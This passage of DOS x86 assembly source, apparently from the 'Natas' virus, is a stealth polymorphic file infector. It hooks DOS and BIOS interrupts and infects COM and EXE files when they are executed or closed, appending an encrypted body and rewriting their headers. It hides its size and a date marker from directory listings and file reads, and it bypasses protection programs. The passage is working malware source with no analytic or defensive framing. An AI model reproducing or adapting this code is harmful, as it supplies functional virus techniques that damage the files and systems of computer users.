  3172.                 mov     word ptr ds:[di-(new_24-(int_24+2))],es
  3173.                 mov     word ptr ds:[di],03b0h  ; MOV AL,3
  3174.                 mov     byte ptr ds:[di+2],0cfh ; IRET
  3175.                 mov     dx,di
  3176.                 call    set_int                 ; hook int 24h
  3177.                 call    pop_all
  3178.                 call    swap_21                 ; remove jump from int 21h
  3179.                 call    push_all
  3180.                 cmp     ah,30h                  ; get DOS version?
  3181.                 jne     is_dir_fcb
  3182.                 add     bx,666h                 ; looking for us?
  3183.                 jnz     is_dir_fcb
  3184.                 mov     ss:[bp.reg_ax],bx       ; set DOS version=0
  3185.                 mov     ss:[bp.reg_bx],bx
  3186.                 jmp     retf_21
  3187.  
  3188. is_dir_fcb:     cmp     ah,11h
  3189.                 jb      is_dir_asciiz
  3190.                 cmp     ah,12h
  3191.                 ja      is_dir_asciiz
  3192.                 call    call_21                 ; do find
  3193.                 or      al,al                   ; error?
  3194.                 je      dir_fcb
  3195.                 jmp     jump_21
  3196.  
  3197. dir_fcb:        call    save_returns            ; save AX
  3198.                 call    get_psp                 ; get current PSP
  3199.                 mov     ax,'HC'
  3200.                 scasw                           ; CHKDSK?
  3201.                 jne     dir_fcb_ok
  3202.                 mov     ax,'DK'
  3203.                 scasw
  3204.                 jne     dir_fcb_ok
  3205.                 mov     ax,'KS'
  3206.                 scasw
  3207.                 je      retf_21
  3208. dir_fcb_ok:     call    get_dta                 ; get DTA address
  3209.                 xor     di,di
  3210.                 cmp     byte ptr ds:[bx],-1     ; extended FCB?
  3211.                 jne     dir_fcb_next
  3212.                 mov     di,7h                   ; fix it up
  3213. dir_fcb_next:   lea     si,ds:[bx+di.ds_date+1] ; offset of year -> SI
  3214. dir_hide:       call    is_specialfile          ; no stealth if helper
  3215.                 je      retf_21
  3216.                 cmp     byte ptr ds:[si],years  ; infected?
  3217.                 jc      retf_21
  3218.                 sub     byte ptr ds:[si],years  ; restore old date
  3219.                 les     ax,ds:[bx+di.ds_size]   ; get size of file
  3220.                 mov     cx,es
  3221.                 sub     ax,file_size            ; hide size increase
  3222.                 sbb     cx,0
  3223.                 jc      retf_21
  3224.                 mov     word ptr ds:[bx+di.ds_size],ax
  3225.                 mov     word ptr ds:[bx+di.ds_size+2],cx ; save new size
  3226. retf_21:        call    undo_24                 ; unhook int 24h
  3227.                 call    pop_all
  3228.                 call    swap_21                 ; insert jump
  3229.                 cli
  3230.                 mov     ss,cs:int_21_ss
  3231.                 mov     sp,cs:int_21_sp
  3232.                 sti
  3233.                 retf    2
  3234.  
  3235.                 
  3236. is_dir_asciiz:  cmp     ah,4eh
  3237.                 jb      is_lseek
  3238.                 cmp     ah,4fh
  3239.                 ja      is_lseek
  3240.                 call    call_21
  3241.                 jnc     dir_asciiz    
  3242. go_jump_21:     jmp     jump_21
  3243.  
  3244. dir_asciiz:     call    save_returns            ; save AX and flags
  3245.                 call    get_dta                 ; get dta address
  3246.                 mov     di,-3
  3247.                 lea     si,ds:[bx.dta_date+1]   ; get year address
  3248.                 jmp     dir_hide
  3249.  
  3250. is_lseek:       cmp     ax,4202h                ; Lseek to end?
  3251.                 jne     is_date
  3252.                 call    call_21_file
  3253.                 jb      go_jump_21
  3254.                 call    get_dcb                 ; get DCB address
  3255.                 jbe     lseek_exit
  3256.                 call    is_specialfile          ; dont hide true size from
  3257.                                                 ; helpers
  3258.                 je      lseek_exit
  3259.                 sub     ax,file_size
  3260.                 sbb     dx,0                    ; hide virus at end
  3261.                 mov     word ptr ds:[di.dcb_pos],ax
  3262.                 mov     word ptr ds:[di.dcb_pos+2],dx ; set position in DCB
  3263. lseek_exit:     clc
  3264.                 call    save_returns            ; save AX/flags
  3265.                 mov     ss:[bp.reg_dx],dx
  3266.                 jmp     retf_21
  3267.  
  3268. is_date:        cmp     ax,5700h                ; get date?
  3269.                 je      get_date
  3270.                 cmp     ax,5701h                ; set date?
  3271.                 jne     is_read
  3272.                 call    get_dcb
  3273.                 jbe     date_err
  3274.                 cmp     dh,years                ; already setting 100 years?
  3275.                 jnb     date_err
  3276.                 add     dh,years                ; dont erase marker
  3277. get_date:       call    is_specialfile          ; do not hide date for
  3278.                                                 ; helpers
  3279.                 je      date_err
  3280.                 call    call_21_file            ; get/set date
  3281.                 jnc     date_check
  3282. date_err:       jmp     jump_21
  3283.  
  3284. date_check:     cmp     dh,years                ; infected?
  3285.                 jb      date_ok
  3286.                 sub     dh,years
  3287. date_ok:        clc
  3288.                 call    save_returns            ; save ax/flags
  3289.                 mov     ss:[bp.reg_cx],cx
  3290.                 mov     ss:[bp.reg_dx],dx       ; save time/date
  3291.                 jmp     retf_21
  3292.                 
  3293. is_read:        cmp     ah,3fh                  ; reading file?
  3294.                 je      do_read
  3295. no_read:        jmp     is_write
  3296.  
  3297. do_read:        call    get_dcb                 ; get DCB address
  3298.                 jbe     no_read
  3299.                 call    is_specialfile
  3300.                 je      no_read
  3301.                 les     ax,ds:[di.dcb_size]     ; get size of file                                
  3302.                 mov     bx,es
  3303.                 les     dx,ds:[di.dcb_pos]      ; get current position
  3304.                 mov     si,es
  3305.                 and     cs:read_bytes,0
  3306.                 or      si,si                   ; in 1st 64k?
  3307.                 jnz     read_high
  3308.                 cmp     dx,18h                  ; reading header?
  3309.                 jnb     read_high
  3310.                 push    cx
  3311.                 add     cx,dx
  3312.                 cmc
  3313.                 jnc     read_above
  3314.                 cmp     cx,18h                  ; read goes above header?
  3315. read_above:     pop     cx
  3316.                 jb      read_below
  3317.                 mov     cx,18h
  3318.                 sub     cx,dx
  3319. read_below:     push    ax bx                   ; save size
  3320.                 push    dx                      ; position
  3321.                 sub     dx,18h
  3322.                 add     ax,dx                   ; get position in header
  3323.                 cmc
  3324.                 sbb     bx,si
  3325.                 xchg    word ptr ds:[di.dcb_pos],ax
  3326.                 xchg    word ptr ds:[di.dcb_pos+2],bx ; lseek to header
  3327.                 push    ax bx
  3328.                 push    ds
  3329.                 mov     ah,3fh                
  3330.                 mov     dx,ss:[bp.reg_dx]
  3331.                 mov     ds,ss:[bp.reg_ds]
  3332.                 call    call_21_file            ; read file
  3333.                 pop     ds
  3334.                 pop     word ptr ds:[di.dcb_pos+2]
  3335.                 pop     word ptr ds:[di.dcb_pos]
  3336.                 pop     dx
  3337.                 pushf
  3338.                 add     dx,ax                   ; adjust position
  3339.                 add     cs:read_bytes,ax        ; remember # of bytes read
  3340.                 popf
  3341.                 pop     bx ax
  3342.                 jnc     read_high
  3343.                 jmp     jump_21
  3344.  
  3345. read_high:      mov     word ptr ds:[di.dcb_pos],dx ; update position
  3346.                 mov     word ptr ds:[di.dcb_pos+2],si
  3347.                 mov     cx,ss:[bp.reg_cx]       ; number of bytes to read
  3348.                 sub     cx,cs:read_bytes
  3349.                 sub     ax,file_size
  3350.                 sbb     bx,0                    ; get original size
  3351.                 push    ax bx
  3352.                 sub     ax,dx
  3353.                 sbb     bx,si                   ; in virus now?
  3354.                 pop     bx ax
  3355.                 jnc     read_into
  3356.                 xor     cx,cx                   ; read 0 bytes
  3357.                 jmp     read_fake
  3358.  
  3359. read_into:      add     dx,cx
  3360.                 adc     si,0                    ; get position after read
  3361.                 cmp     bx,si                   ; read extends into virus?
  3362.                 ja      read_fake
  3363.                 jb      read_adjust
  3364.                 cmp     ax,dx
  3365.                 jnb     read_fake
  3366. read_adjust:    sub     dx,cx                   ; get position again
  3367.                 xchg    cx,ax
  3368.                 sub     cx,dx   ; # of bytes to read = Original size - Pos
  3369. read_fake:      mov     ah,3fh
  3370.                 mov     dx,ss:[bp.reg_dx]
  3371.                 add     dx,cs:read_bytes
  3372.                 mov     ds,ss:[bp.reg_ds]
  3373.                 call    call_21_file            ; read file
  3374.                 jc      read_exit
  3375.                 add     ax,0
  3376. read_bytes      =       word ptr $ - 2
  3377.                 clc
  3378. read_exit:      call    save_returns
  3379.                 jmp     retf_21
  3380.                 
  3381.  
  3382. is_write:       cmp     ah,40h                  ; write?
  3383.                 je      do_write
  3384. no_write:       jmp     is_infect
  3385.  
  3386. do_write:       call    get_dcb
  3387.                 jbe     no_write
  3388.                 les     ax,ds:[di.dcb_size]     ; get file size
  3389.                 mov     bx,es
  3390.                 sub     ax,18h
  3391.                 sbb     bx,0                    ; get header position
  3392.                 xchg    ax,word ptr ds:[di.dcb_pos]
  3393.                 xchg    bx,word ptr ds:[di.dcb_pos+2] ; lseek to header
  3394.                 push    ax bx
  3395.                 mov     ax,2
  3396.                 xchg    ax,ds:[di.dcb_mode]     ; read/write mode
  3397.                 push    ax
  3398.                 push    ds cs
  3399.                 pop     ds es
  3400.                 call    read_header             ; read 18h bytes
  3401.                 pop     es:[di.dcb_mode]        ; restore access mode
  3402.                 jc      write_rest_pos
  3403.                 mov     word ptr es:[di.dcb_pos],ax
  3404.                 mov     word ptr es:[di.dcb_pos+2],ax ; lseek to start
  3405.                 call    write_header                  ; write old header
  3406.                 jc      write_rest_pos
  3407.                 push    es
  3408.                 pop     ds
  3409.                 sub     word ptr ds:[di.dcb_size],file_size
  3410.                 sbb     word ptr ds:[di.dcb_size+2],ax    ; truncate at virus
  3411.                 sub     byte ptr ds:[di.dcb_date+1],years ; remove 100 years
  3412. write_rest_pos: pop     word ptr es:[di.dcb_pos+2]
  3413.                 pop     word ptr es:[di.dcb_pos]
  3414.                 jmp     jump_21
  3415.  
  3416.  
  3417. is_infect:      cmp     ah,3eh                  ; Close?
  3418.                 je      infect_3e
  3419.                 cmp     ax,4b00h                ; Execute?
  3420.                 je      infect_4b
  3421.                 jmp     jump_21
  3422.  
  3423. infect_4b:      mov     ax,3d00h                ; Open file
  3424.                 cmp     ax,0
  3425.                 org     $ - 2
  3426. infect_3e:      mov     ah,45h                  ; Duplicate handle
  3427.                 call    int_2_bios              ; lock out protection programs
  3428.                 call    call_21_file            ; get handle
  3429.                 mov     cs:handle,ax
  3430.                 mov     ax,4408h
  3431.                 cwd
  3432.                 jc      undo_bios
  3433.                 call    get_dcb                 ; get DCB for handle
  3434.                 jb      cant_infect
  3435.                 jne     cant_infect             ; error/already infected
  3436.                 mov     bl,00111111b
  3437.                 and     bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code
  3438.                 mov     dl,bl                   ; DX=00**
  3439.                 inc     bx                      ; 0=default,1=a,2=b,3=c,etc.
  3440.                 call    call_21                 ; drive removable?
  3441.                 mov     cx,1h
  3442.                 push    cs
  3443.                 pop     es
  3444.                 jc      test_prot_drive
  3445.                 dec     ax                      ; 1=non-removable
  3446.                 jz      no_protect
  3447.                 jmp     test_protect
  3448.  
  3449. test_prot_drive:cmp     dl,1                    ; A or B?
  3450.                 ja      no_protect
  3451. test_protect:   mov     ax,201h
  3452.                 mov     bx,offset disk_buff
  3453.                 int     13h                     ; read sector
  3454.                 jc      cant_infect
  3455.                 mov     ax,301h
  3456.                 int     13h                     ; write it back
  3457.                 jc      cant_infect
  3458. no_protect:     inc     cx                      ; CX=2
  3459.                 xchg    cx,ds:[di.dcb_mode]     ; read/write access mode
  3460.                 push    cx
  3461.                 xor     ax,ax
  3462.                 xchg    ah,ds:[di.dcb_attr]     ; attribute=0
  3463.                 test    ah,00000100b            ; system file?
  3464.                 push    ax
  3465.                 jne     cant_system
  3466.                 cbw
  3467.                 cwd
  3468.                 xchg    ax,word ptr ds:[di.dcb_pos]
  3469.                 xchg    dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0
  3470.                 push    ax dx
  3471.                 mov     bp,-'OC'
  3472.                 add     bp,word ptr ds:[di.dcb_ext]   ; BP=0 of CO
  3473.                 jnz     not_com
  3474.                 mov     bp,-'MO'
  3475.                 add     bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM
  3476. not_com:        call    infect
  3477.                 pushf
  3478.                 call    get_dcb
  3479.                 popf
  3480.                 jc      not_infected
  3481.                 add     byte ptr ds:[di.dcb_date+1],years   ; add 100 years
  3482. not_infected:   or      byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date
  3483.                 pop     word ptr ds:[di.dcb_pos+2]
  3484.                 pop     word ptr ds:[di.dcb_pos]
  3485. cant_system:    pop     word ptr ds:[di.dcb_attr-1] ; restore attribute
  3486.                 pop     ds:[di.dcb_mode]        ; restore access mode
  3487. cant_infect:    mov     ah,3eh
  3488.                 call    call_21_file            ; close file
  3489. undo_bios:      call    int_2_bios              ; restore interrupts
  3490.                 
  3491. ;=====( Jump on to int 21h )=================================================;
  3492.  
  3493. jump_21:        call    undo_24                 ; unhook int 24h
  3494.                 push    cs
  3495.                 pop     ds
  3496.                 mov     al,1h
  3497.                 mov     di,offset int_1
  3498.                 cmp     byte ptr ds:[di+origin-int_1],al ; file origin?
  3499.                 jne     jump_21_1
  3500.                 call    get_int                 ; get int 1h address
  3501.                 mov     ds:[di],bx
  3502.                 mov     ds:[di + 2],es
  3503.                 mov     byte ptr ds:[di+inst_count-int_1],5
  3504.                 mov     ds:trace_mode,step_21
  3505.                 mov     dx,offset tracer
  3506.                 call    set_int                 ; hook int 1h
  3507.                 call    pop_all
  3508.                 push    si
  3509.                 pushf
  3510.                 pop     si
  3511.                 call    si_tf                   ; set TF
  3512.                 pop     si
  3513. go_21:          cli
  3514.                 mov     ss,cs:int_21_ss
  3515.                 mov     sp,cs:int_21_sp         ; restore stack
  3516.                 sti
  3517. go_2_21:        jmp     cs:int_21
  3518.                 
  3519. jump_21_1:      call    pop_all
  3520.                 jmp     go_21
  3521.  
  3522. ;=====( actual infection routine )===========================================;
  3523.  
  3524. infect:         push    cs
  3525.                 pop     ds
  3526.                 call    read_header             ; read first 18h bytes
  3527.                 jc      inf_bad_file
  3528.                 mov     si,dx
  3529.                 mov     di,offset work_header
  3530.                 cld
  3531.                 rep     movsb                   ; copy header to work_header
  3532.                 call    get_dcb
  3533.                 les     ax,ds:[di.dcb_size]     ; get file size
  3534.                 mov     dx,es
  3535.                 mov     word ptr ds:[di.dcb_pos],ax
  3536.                 mov     word ptr ds:[di.dcb_pos+2],dx ; lseek to end
  3537.                 push    cs cs
  3538.                 pop     es ds
  3539.                 mov     cx,ds:[si]              ; get first 2 bytes
  3540.                 cmp     cx,'MZ'                 ; .EXE file?
  3541.                 je      inf_exe
  3542.                 cmp     cx,'ZM'                 ; .EXE file?
  3543.                 je      inf_exe
  3544.                 or      dx,bp                   ; COM file and < 64k?
  3545.                 jnz     inf_bad_file
  3546.                 cmp     ax,0-(file_size+100)
  3547.                 ja      inf_bad_file
  3548.                 cmp     ax,1000
  3549.                 jb      inf_bad_file
  3550.                 mov     byte ptr ds:[si],0e9h   ; build jump
  3551.                 inc     ah                      ; Add PSP size (100h)
  3552.                 push    ax                      ; save IP for engine
  3553.                 add     ax,offset decrypt-103h  ; get jump disp. (- PSP size)
  3554.                 mov     ds:[si+1],ax
  3555.                 jmp     append_vir
  3556.  
  3557. inf_bad_file:   stc
  3558.                 retn
  3559.  
  3560. inf_exe:        cmp     word ptr ds:[si.eh_max_mem],-1
  3561.                 jne     inf_bad_file
  3562.                 mov     bp,ax
  3563.                 mov     di,dx                   ; save size in DI:BP
  3564.                 mov     cx,200h
  3565.                 div     cx                      ; divide into pages
  3566.                 or      dx,dx                   ; Any remainder?
  3567.                 jz      no_round
  3568.                 inc     ax
  3569. no_round:       sub     ax,ds:[si.eh_size]      ; size same as header says?
  3570.                 jne     inf_bad_file
  3571.                 sub     dx,ds:[si.eh_modulo]
  3572.                 jne     inf_bad_file
  3573.                 mov     ax,file_size            ; virus size
  3574.                 add     ax,bp
  3575.                 adc     dx,di                   ; + program size
  3576.                 div     cx                      ; / 512
  3577.                 or      dx,dx                   ; round up?
  3578.                 jz      no_round1
  3579.                 inc     ax
  3580. no_round1:      mov     ds:[si.eh_size],ax
  3581.                 mov     ds:[si.eh_modulo],dx    ; set new size
  3582.                 mov     bx,0-(file_size+1000)
  3583.                 xor     cx,cx
  3584. get_exe_ip:     cmp     bp,bx                   ; make sure virus does not
  3585.                                                 ; cross segments
  3586.                 jb      got_exe_ip
  3587.                 sub     bp,10h                  ; down 10h bytes
  3588.                 loop    get_exe_ip              ; up 1 paragraph
  3589. got_exe_ip:     cmp     di,0fh
  3590.                 ja      inf_bad_file
  3591.                 xchg    cx,ax
  3592.                 mov     cl,4
  3593.                 ror     di,cl                   ; get segment displacement
  3594.                 or      ax,ax
  3595.                 jz      no_para_add
  3596.                 sub     di,ax                   ; Add segments from LOOP
  3597.                 jnc     inf_bad_file
  3598. no_para_add:    sub     di,ds:[si.eh_size_header] ; CS-header size in 
  3599.                                                 ; paragraphs
  3600.                 push    bp                      ; save offset of v_start
  3601.                 add     bp,decrypt-v_start
  3602.                 mov     ds:[si.eh_ip],bp        ; set IP
  3603.                 mov     ds:[si.eh_cs],di        ; set CS
  3604.                 add     bp,512                  ; 512 bytes of stack
  3605.                 mov     ds:[si.eh_sp],bp        ; set SP
  3606.                 mov     ds:[si.eh_ss],di        ; set SS
  3607.                 mov     bp,8000h                ; Tell engine "Exe file"
  3608.                 sar     bx,cl                   ; 0 - ((file_size+1000h)/16)
  3609.                 mov     ax,ds:[si.eh_min_mem]
  3610.                 sub     ax,bx                   ; add file_size+1000h/16
  3611.                 jnb     append_vir
  3612.                 mov     ds:[si.eh_min_mem],ax
  3613.  
  3614. append_vir:     pop     ax
  3615.                 call    engine                  ; encrypt/write/decrypt
  3616.                 push    bp             
  3617.                 popf
  3618.                 jc      append_vir_err
  3619.                 call    get_dcb
  3620.                 mov     word ptr ds:[di.dcb_pos],cx
  3621.                 mov     word ptr ds:[di.dcb_pos+2],cx ; lseek to start
  3622.                 mov     ah,40h
  3623.                 mov     dx,offset work_header
  3624.                 push    cs
  3625.                 pop     ds
  3626.                 call    header_op               ; write new header to file
  3627. append_vir_err: retn
  3628.                 
  3629. ;=====( Get DCB address for file )===========================================;
  3630.  
  3631. get_dcb:        push    ax bx 
  3632.                 mov     ax,1220h
  3633.                 mov     bx,cs:handle            ; get file handle
  3634.                 int     2fh                     ; get DCB number address
  3635.                 jc      get_dcb_fail
  3636.                 mov     ax,1216h
  3637.                 mov     bl,es:[di]              ; get DCB number
  3638.                 cmp     bl,-1                   ; Handle Openned?
  3639.                 cmc
  3640.                 je      get_dcb_fail
  3641.                 int     2fh                     ; get DCB address
  3642.                 jc      get_dcb_fail
  3643.                 push    es
  3644.                 pop     ds
  3645.                 test    byte ptr ds:[di.dcb_dev_attr],80h ; device or file?
  3646.                 cmc
  3647.                 jne     get_dcb_fail
  3648.                 test    byte ptr ds:[di.dcb_date+1],80h ; infected?
  3649. get_dcb_fail:   pop     bx ax               
  3650.                 retn
  3651.  
  3652. ;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============;
  3653.  
  3654. int_2_bios:     push    ax bx dx ds
  3655.                 mov     al,13h                  ; int 13h
  3656.                 mov     di,offset int_13
  3657. int_2_bios_lp:  push    cs
  3658.                 pop     ds
  3659.                 call    get_int                 ; get int address               
  3660.                 mov     dx,es
  3661.                 xchg    bx,ds:[di]              ; swap offsets
  3662.                 cld
  3663.                 scasw
  3664.                 xchg    dx,bx
  3665.                 xchg    bx,ds:[di]              ; swap segments
  3666.                 scasw
  3667.                 mov     ds,bx                   ; DS:DX=new address
  3668.                 call    set_int                 ; set int to DS:DX
  3669.                 cmp     al,15h                  
  3670.                 mov     al,15h
  3671.                 jnb     int_2_bios_40           ; CY AL=13h
  3672.                 add     di,4
  3673.                 jmp     int_2_bios_lp
  3674.  
  3675. int_2_bios_40:  mov     al,40h
  3676.                 je      int_2_bios_lp           ; ZR AL=15h else AL=40h, exit
  3677.                 pop     ds dx bx ax
  3678.                 retn
  3679.  
  3680. ;=====( Read/write header to file )==========================================;
  3681.  
  3682. read_header:    mov     ah,3fh
  3683.                 cmp     ax,0
  3684.                 org     $ - 2
  3685. write_header:   mov     ah,40h
  3686.                 mov     dx,offset header
  3687. header_op:      mov     cx,18h
  3688.                 call    call_21_file             ; read/write header
  3689.                 jc      read_write_err
  3690.                 sub     ax,cx
  3691. read_write_err: retn
  3692.  
  3693. ;=====( Unhook int 24h )=====================================================;
  3694.  
  3695. undo_24:        mov     al,24h
  3696.                 lds     dx,cs:int_24
  3697.                 call    set_int                 ; unhook int 24h
  3698.                 in      al,21h
  3699.                 and     al,not 2                ; enable keyboard
  3700.                 out     21h,al
  3701.                 retn
  3702.  
  3703. ;=====( Save returns after int 21h call )====================================;
  3704.  
  3705. save_returns:   mov     ss:[bp.reg_ax],ax
  3706.                 pushf
  3707.                 pop     ss:[bp.reg_f]
  3708.                 retn
  3709.  
  3710. ;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================;
  3711.  
  3712. is_specialfile: push    ax cx si di es
  3713.                 mov     al,0
  3714. check_special   =       byte ptr $ - 1
  3715.                 or      al,al                   ; Check for special?
  3716.                 jnz     it_is_special
  3717.                 call    get_psp                 ; get MCB of current PSP
  3718.                 mov     ax,es:[di]              ; get 1st 2 letters of name
  3719.                 cmp     ax,'RA'                 ; ARj?
  3720.                 je      it_is_special
  3721.                 cmp     ax,'HL'                 ; LHa?
  3722.                 je      it_is_special
  3723.                 cmp     ax,'KP'                 ; PKzip?
  3724.                 je      it_is_special
  3725.                 mov     cx,2
  3726.                 mov     si,offset backup
  3727. is_it_mod_bak:  push    cx di
  3728.                 mov     cl,8
  3729.                 lods    byte ptr cs:[si]        ; get 'B' or 'M'
  3730.                 xor     al,66h + 6h             ; decrypt
  3731.                 repne   scasb
  3732.                 jne     is_it_mod
  3733.                 cmp     cl,3
  3734.                 jb      is_it_mod
  3735.                 mov     cl,4
  3736. is_ode_ack:     lods    byte ptr cs:[si]
  3737.                 xor     al,66h + 6h
  3738.                 jz      is_it_mod               ; 0 (done)?
  3739.                 scasb
  3740.                 loope   is_ode_ack
  3741. is_it_mod:      mov     si,offset modem
  3742.                 pop     di cx
  3743.                 loopne  is_it_mod_bak
  3744. it_is_special:  pop     es di si cx ax
  3745.                 retn
  3746.  
  3747. backup:         db      'B' xor (66h + 6h) 
  3748.                 db      'A' xor (66h + 6h)
  3749.                 db      'C' xor (66h + 6h)
  3750.                 db      'K' xor (66h + 6h)
  3751.                 db      0   xor (66h + 6h)
  3752.  
  3753. modem:          db      'M' xor (66h + 6h)
  3754.                 db      'O' xor (66h + 6h)
  3755.                 db      'D' xor (66h + 6h)
  3756.                 db      'E' xor (66h + 6h)
  3757.                 db      'M' xor (66h + 6h)
  3758.  
  3759.  
  3760. ;=====( get current PSP segment )============================================;
  3761.  
  3762. get_psp:        push    ax bx
  3763.                 mov     ah,62h
  3764.                 call    call_21                 ; get PSP segment
  3765.                 dec     bx
  3766.                 mov     es,bx                   ; MCB of current program
  3767.                 mov     di,8h                   ; offset of file name
  3768.                 cld
  3769.                 pop     bx ax
  3770.                 retn
  3771.                 
  3772. ;=====( Get DTA address )====================================================;
  3773.  
  3774. get_dta:        mov     ah,2fh
  3775.                 call    call_21                 ; DTA address into ES:BX
  3776.                 push    es
  3777.                 pop     ds
  3778.                 retn
  3779.  
  3780. call_dos_13:    call    swap_13
  3781.                 pushf
  3782.                 call    cs:dos_13
  3783.                 call    swap_13
  3784.                 retn
  3785.  
  3786. call_disk:      test    dl,80h                  ; ZF -> Floppy disk (int 40h)
  3787.                 je      call_40
  3788.  
  3789. call_13:        pushf
  3790.                 call    cs:int_13
  3791.                 retn
  3792.  
  3793. call_21_file:   mov     bx,0
  3794. handle          =       word ptr $ - 2
  3795.  
  3796. call_21:        pushf
  3797.                 push    cs
  3798.                 call    go_2_21
  3799.                 retn
  3800.  
  3801. call_40:        pushf
  3802.                 call    cs:int_40
  3803.                 retn
  3804.  
  3805. include eng.asm
  3806.  
  3807.                 db      "Natas",0
  3808.  
  3809. even
  3810.  
  3811. decrypt:        mov     word ptr ds:[100h],1f0eh        ; PUSH CS/POP DS
  3812.                 mov     byte ptr ds:[102h],0e8h         ; CALL
  3813.                 jmp     file_start
  3814.                 
  3815.                 org     decrypt + 150
  3816.  
  3817. header          dw      18h / 2 dup(20cdh)
  3818.  
  3819. file_end:
  3820.  
  3821. work_header     dw      18h / 2 dup(?)
  3822.                 
  3823. write_buff:     db      encode_end-encode dup(?)
  3824.  
  3825. int_21_ss       dw      ?
  3826. int_21_sp       dw      ?
  3827.  
  3828.                 dw      256 / 2 dup(?)
  3829. temp_stack:            
  3830.  
  3831. jump_code_13    db      5 dup(?)
  3832. jump_code_21    db      5 dup(?)
  3833.  
  3834. int_1           dd      ?
  3835. int_24          dd      ?
  3836.  
  3837. int_13          dd      ?
  3838. dos_13          dd      ?
  3839. int_15          dd      ?
  3840. int_40          dd      ?
  3841. int_21          dd      ?
  3842.  
  3843. new_24:         db      3 dup(?)
  3844.  
  3845. push_pop_ret    dw      ?
  3846.  
  3847. pointer         dw      ?
  3848. disp            dw      ?
  3849. encode_ptr      dw      ?
  3850. encode_enc_ptr  dw      ?
  3851.  
  3852. key_reg         db      ?
  3853. count_reg       db      ?
  3854. ptr_reg         db      ?
  3855. ptr_reg1        db      ?
  3856. modify_op       db      ?
  3857.  
  3858.  
  3859. origin          db      ?
  3860. inst_count      db      ?
  3861.  
  3862. disk_buff       db      512 dup(?)
  3863.  
  3864. v_end:
  3865.  
  3866.  
  3867. ;=====( Very useful structures )=============================================;
  3868.  
  3869.  
  3870.  
  3871. ;=====( Memory Control Block structure )=====================================;
  3872.  
  3873. mcb             struc
  3874. mcb_sig         db      ?               ; 'Z' or 'M'
  3875. mcb_owner       dw      ?               ; attribute of owner
  3876. mcb_size        dw      ?               ; size of mcb block
  3877. mcb_name        db      8 dup(?)        ; file name of owner
  3878. mcb             ends
  3879.  
  3880.  
  3881. ;=====( For functions 11h and 12h )==========================================;
  3882.  
  3883.  
  3884. Directory       STRUC
  3885. DS_Drive        db ?
  3886. DS_Name         db 8 dup(0)
  3887. DS_Ext          db 3 dup(0)
  3888. DS_Attr         db ?
  3889. DS_Reserved     db 10 dup(0)
  3890. DS_Time         dw ?
  3891. DS_Date         dw ?
  3892. DS_Start_Clust  dw ?
  3893. DS_Size         dd ?
  3894. Directory       ENDS
  3895.  
  3896.  
  3897. ;=====( for functions 4eh and 4fh )==========================================;
  3898.  
  3899.  
  3900. DTA             STRUC
  3901. DTA_Reserved    db 21 dup(0)
  3902. DTA_Attr        db ?
  3903. DTA_Time        dw ?
  3904. DTA_Date        dw ?
  3905. DTA_Size        dd ?
  3906. DTA_Name        db 13 dup(0)
  3907. DTA             ENDS
  3908.  
  3909.  
  3910. Exe_Header      STRUC
  3911. EH_Signature    dw ?                    ; Set to 'MZ' or 'ZM' for .exe files
  3912. EH_Modulo       dw ?                    ; remainder of file size/512
  3913. EH_Size         dw ?                    ; file size/512
  3914. EH_Reloc        dw ?                    ; Number of relocation items
  3915. EH_Size_Header  dw ?                    ; Size of header in paragraphs
  3916. EH_Min_Mem      dw ?                    ; Minimum paragraphs needed by file
  3917. EH_Max_Mem      dw ?                    ; Maximum paragraphs needed by file
  3918. EH_SS           dw ?                    ; Stack segment displacement
  3919. EH_SP           dw ?                    ; Stack Pointer
  3920. EH_Checksum     dw ?                    ; Checksum, not used
  3921. EH_IP           dw ?                    ; Instruction Pointer of Exe file
  3922. EH_CS           dw ?                    ; Code segment displacement of .exe
  3923. eh_1st_reloc    dw      ?               ; first relocation item
  3924. eh_ovl          dw      ?               ; overlay number
  3925. Exe_Header      ENDS                      
  3926.  
  3927. Boot_Sector             STRUC
  3928. bs_Jump                 db 3 dup(?)
  3929. bs_Oem_Name             db 8 dup(?)
  3930. bs_Bytes_Per_Sector     dw ?
  3931. bs_Sectors_Per_Cluster  db ?
  3932. bs_Reserved_Sectors     dw ?               
  3933. bs_FATs                 db ?             ; Number of FATs
  3934. bs_Root_Dir_Entries     dw ?             ; Max number of root dir entries
  3935. bs_Sectors              dw ?             ; number of sectors; small
  3936. bs_Media                db ?             ; Media descriptor byte
  3937. bs_Sectors_Per_FAT      dw ?
  3938. bs_Sectors_Per_Track    dw ?               
  3939. bs_Heads                dw ?             ; number of heads
  3940. bs_Hidden_Sectors       dd ?
  3941. bs_Huge_Sectors         dd ?             ; number of sectors; large
  3942. bs_Drive_Number         db ?
  3943. bs_Reserved             db ?
  3944. bs_Boot_Signature       db ?
  3945. bs_Volume_ID            dd ?
  3946. bs_Volume_Label         db 11 dup(?)
  3947. bs_File_System_Type     db 8 dup(?)
  3948. Boot_Sector             ENDS
  3949.                 
  3950.                 
  3951. Partition_Table         STRUC
  3952. pt_Code                 db 1beh dup(?)  ; partition table code
  3953. pt_Status               db ?            ; 0=non-bootable 80h=bootable
  3954. pt_Start_Head           db ?            
  3955. pt_Start_Sector_Track   dw ?
  3956. pt_Type                 db ?            ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT
  3957. pt_End_Head             db ?
  3958. pt_End_Sector_Track     dw ?
  3959. pt_Starting_Abs_Sector  dd ?
  3960. pt_Number_Sectors       dd ?
  3961. Partition_Table         ENDS
  3962.  
  3963.  
  3964. int_1_stack     STRUC
  3965. st_ip           dw ?                    ; offset of next instruction after
  3966.                                         ; interrupt
  3967. st_cs           dw ?                    ; segment of next instruction
  3968. st_flags        dw ?                    ; flags when interrupt was called
  3969. int_1_stack     ENDS
  3970.  
  3971. ;----------------------------------------------------------------------------;
  3972. ;               Dcb description for DOS 3+                                   ;   
  3973. ;                                                                            ;
  3974. ;      Offset  Size    Description                                           ;
  3975. ;       00h    WORD    number of file handles referring to this file         ;
  3976. ;       02h    WORD    file open mode (see AH=3Dh)                           ;
  3977. ;              bit 15 set if this file opened via FCB                        ;
  3978. ;       04h    BYTE    file attribute                                        ;
  3979. ;       05h    WORD    device info word (see AX=4400h)                       ;
  3980. ;       07h    DWORD   pointer to device driver header if character device   ;
  3981. ;              else pointer to DOS Drive Parameter Block (see AH=32h)        ;
